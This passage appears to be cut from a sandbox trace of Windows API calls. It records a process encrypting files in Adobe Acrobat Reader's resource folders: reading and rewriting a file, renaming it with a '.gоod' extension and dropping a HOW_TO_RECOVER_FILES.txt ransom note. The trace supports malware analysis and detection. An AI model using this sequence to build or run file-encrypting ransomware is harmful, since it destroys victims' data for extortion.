lpBuffer=0x3466690*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0101.885] CloseHandle (hObject=0x7c0) returned 1 [0101.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0101.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep", lpFilePart=0x0) returned 0x40 [0101.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0101.885] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.886] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1 [0101.886] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.886] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0101.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0101.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0101.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0101.886] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep", lpFilePart=0x0) returned 0x40 [0101.886] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0101.886] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.886] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1 [0101.887] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 0 [0101.887] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0101.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0101.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0101.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", lpFilePart=0x0) returned 0x5e [0101.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0101.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), fInfoLevelId=0x0, lpFileInformation=0x3475b48 | out: lpFileInformation=0x3475b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x359c)) returned 1 [0101.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0101.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", lpFilePart=0x0) returned 0x5e [0101.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0101.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0101.888] GetFileType (hFile=0x7c0) returned 0x1 [0101.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0101.888] GetFileType (hFile=0x7c0) returned 0x1 [0101.888] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0101.888] ReadFile (in: hFile=0x7c0, lpBuffer=0x3476000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x3476000*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0101.889] CloseHandle (hObject=0x7c0) returned 1 [0101.889] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", lpFilePart=0x0) returned 0x5e [0101.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0101.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0101.890] GetFileType (hFile=0x7c0) returned 0x1 [0101.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0101.890] GetFileType (hFile=0x7c0) returned 0x1 [0101.890] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x359c [0101.890] WriteFile (in: hFile=0x7c0, lpBuffer=0x34772e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x34772e8*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0101.891] CloseHandle (hObject=0x7c0) returned 1 [0101.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", lpFilePart=0x0) returned 0x5e [0101.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0101.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0101.891] GetFileType (hFile=0x7c0) returned 0x1 [0101.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0101.891] GetFileType (hFile=0x7c0) returned 0x1 [0101.891] ReadFile (in: hFile=0x7c0, lpBuffer=0x34795f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x34795f8*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0101.919] CloseHandle (hObject=0x7c0) returned 1 [0101.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", lpFilePart=0x0) returned 0x5e [0101.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0101.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0101.919] GetFileType (hFile=0x7c0) returned 0x1 [0101.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0101.919] GetFileType (hFile=0x7c0) returned 0x1 [0101.919] WriteFile (in: hFile=0x7c0, lpBuffer=0x3478300*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x3478300*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0101.919] CloseHandle (hObject=0x7c0) returned 1 [0101.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", lpFilePart=0x0) returned 0x5e [0101.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp.gоod", lpFilePart=0x0) returned 0x63 [0101.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0101.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38f52c8e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x35ac)) returned 1 [0101.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0101.920] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\saslprepprofile_norm_bidi.spp.gоod")) returned 1 [0102.336] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0102.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0102.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\saslprep\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0102.336] GetFileType (hFile=0x6e0) returned 0x1 [0102.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0102.336] GetFileType (hFile=0x6e0) returned 0x1 [0102.337] WriteFile (in: hFile=0x6e0, lpBuffer=0x375e400*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: lpBuffer=0x375e400*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0102.338] CloseHandle (hObject=0x6e0) returned 1 [0102.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0102.338] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport", lpFilePart=0x0) returned 0x43 [0102.338] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0102.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 0 [0102.339] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0102.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0102.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0102.339] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport", lpFilePart=0x0) returned 0x43 [0102.340] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.340] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.340] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0102.340] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.340] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0102.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0102.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0102.341] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode", lpFilePart=0x0) returned 0x4b [0102.341] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.341] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.341] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0102.341] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0102.341] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0102.342] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0102.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0102.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0102.342] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode", nBufferLength=0x105, lpBuffer=0x1fcecb40, 